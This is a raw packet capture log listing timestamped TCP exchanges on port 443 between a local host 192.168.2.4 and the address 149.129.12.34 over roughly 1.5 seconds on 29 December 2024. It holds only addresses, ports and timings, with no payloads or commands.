Dec 29, 2024 09:02:02.363228083 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.363244057 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.363286972 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.368046999 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.368068933 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.368140936 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.368149042 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.368185997 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.373661041 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.373684883 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.373720884 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.373730898 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.373758078 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.373778105 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.379295111 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.379327059 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.379353046 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.379359961 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.379381895 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.379399061 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.384270906 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.384294987 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.384330034 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.384335995 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.384375095 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.390227079 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.390244007 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.390280962 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.390286922 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.390324116 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.396853924 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.396882057 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.396919012 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.396925926 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.396962881 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.520390034 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.520421982 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.520556927 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.520582914 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.520621061 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.554578066 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.554610014 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.555027962 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.555035114 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.555073023 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.560154915 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.560174942 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.560348034 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.560354948 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.560396910 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.565798044 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.565817118 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.565891027 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.565897942 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.565932989 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.570786953 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.570806026 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.570849895 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.570856094 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.570882082 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.570899963 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.576433897 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.576452971 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.576504946 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.576510906 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.576544046 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.581763983 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.581784010 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.581847906 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.581854105 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.581888914 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.588535070 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.588555098 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.588593006 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.588598967 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.588625908 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.588644028 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.712575912 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.712599993 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.712646961 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.712656021 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.712682962 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.712701082 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.747243881 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.747266054 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.747307062 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.747320890 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.747365952 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.752816916 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.752835989 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.752896070 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.752902031 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.752939939 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.757817030 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.757834911 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.757870913 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.757877111 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.757914066 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.763505936 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.763525963 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.763551950 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.763559103 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.763595104 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.763619900 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.769062996 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.769082069 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.769120932 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.769126892 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.769155979 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.769176006 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.774493933 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.774513006 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.774552107 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.774558067 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.774588108 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.774602890 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.780689955 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.780709028 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.780771971 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.780778885 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.780818939 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.907701015 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.907728910 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.907764912 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.907772064 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.907798052 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.907814026 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.939662933 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.939685106 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.939716101 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.939719915 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.939757109 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.944597006 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.944616079 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.944649935 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.944655895 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.944693089 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.950112104 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.950130939 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.950176954 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.950184107 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.950221062 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.955801964 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.955821991 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.955879927 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.955884933 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.955918074 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.960784912 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.960810900 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.960841894 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.960846901 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.960886955 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.966769934 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.966788054 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.966819048 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.966840982 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.966855049 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.966875076 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.972839117 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.972857952 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.972891092 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:02.972898006 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:02.972929001 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.100271940 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.100306034 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.100366116 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.100450039 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.100497961 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.100497961 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.133420944 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.133450031 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.133492947 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.133517981 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.133546114 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.133563995 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.138628960 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.138653040 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.138706923 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.138725996 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.138782024 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.144260883 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.144284010 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.144326925 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.144340992 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.144370079 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.144387960 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.149229050 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.149252892 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.149310112 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.149333954 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.149363041 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.149384022 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.154892921 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.154912949 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.154958963 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.154992104 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.155019999 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.155036926 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.160170078 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.160188913 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.160238028 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.160252094 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.160301924 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.160301924 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.165988922 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.166016102 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.166058064 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.166078091 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.166105986 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.166126966 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.293566942 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.293586969 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.293908119 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.293936014 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.293981075 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.325242996 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.325263023 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.325577974 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.325592041 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.325634956 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.330528975 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.330543995 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.330605984 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.330612898 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.330652952 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.336100101 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.336117029 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.336174965 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.336182117 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.336216927 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.341742039 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.341767073 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.341809988 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.341818094 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.341840029 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.341854095 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.346767902 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.346784115 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.346842051 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.346849918 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.346890926 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.352030993 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.352045059 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.352093935 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.352101088 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.352123022 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.352138996 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.357819080 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.357836008 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.357888937 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.357901096 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.357934952 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.484441042 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.484463930 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.484525919 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.484548092 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.484584093 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.517373085 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.517400980 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.517494917 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.517517090 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.517558098 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.522568941 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.522597075 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.522651911 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.522669077 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.522681952 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.522712946 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.528129101 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.528148890 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.528194904 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.528208017 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.528247118 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.533838034 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.533860922 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.533902884 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.533916950 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.533942938 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.533957005 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.538795948 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.538820028 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.538881063 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.538892984 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.538927078 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.544765949 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.544789076 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.544826031 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.544832945 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.544859886 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.544876099 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.637166023 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.637200117 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.637310028 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.637334108 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.637478113 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.676548004 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.676592112 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.676654100 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.676670074 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.676706076 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.709722042 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.709742069 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.709810019 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.709821939 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.709861994 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.714782000 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.714797020 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.714852095 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.714860916 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.714895010 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.720292091 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.720308065 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.720365047 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.720371962 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.720402002 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.725929022 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.725944042 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.726006985 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.726016045 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.726047993 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.730969906 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.730986118 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.731038094 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.731045008 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.731080055 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.736908913 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.736923933 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.736977100 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.736983061 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.737015009 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.829003096 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.829021931 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.829098940 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.829111099 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.829705954 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.868474007 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.868494987 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.868681908 CET	49735	443	192.168.2.4	149.129.12.34
Dec 29, 2024 09:02:03.868707895 CET	443	49735	149.129.12.34	192.168.2.4
Dec 29, 2024 09:02:03.868757963 CET	49735	443	192.168.2.4	149.129.12.34
